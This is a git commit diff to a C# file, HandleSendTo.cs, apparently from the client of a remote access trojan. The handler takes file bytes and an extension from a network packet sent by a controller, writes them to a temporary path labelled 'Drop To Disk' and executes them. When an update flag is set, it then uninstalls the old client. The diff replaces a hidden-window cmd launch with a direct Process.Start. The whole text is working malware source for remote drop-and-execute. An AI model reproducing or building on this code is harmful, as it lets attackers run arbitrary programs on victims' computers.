Update HandleSendTo.cs

This commit is contained in:
NYAN CAT 2019-06-28 21:07:05 +03:00
parent 6a30b4f382
commit c5d4ee8518

View File

@ -17,14 +17,7 @@ namespace Client.Handle_Packet
//Drop To Disk //Drop To Disk
string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString; string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath); unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
ProcessStartInfo processStartInfo = new ProcessStartInfo Process.Start(fullPath);
{
FileName = "cmd",
Arguments = "/k START \"\" \"" + fullPath + "\" & EXIT",
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true
};
Process.Start(processStartInfo);
if (unpack_msgpack.ForcePathObject("Update").AsString == "true") if (unpack_msgpack.ForcePathObject("Update").AsString == "true")
{ {
new HandleUninstall(); new HandleUninstall();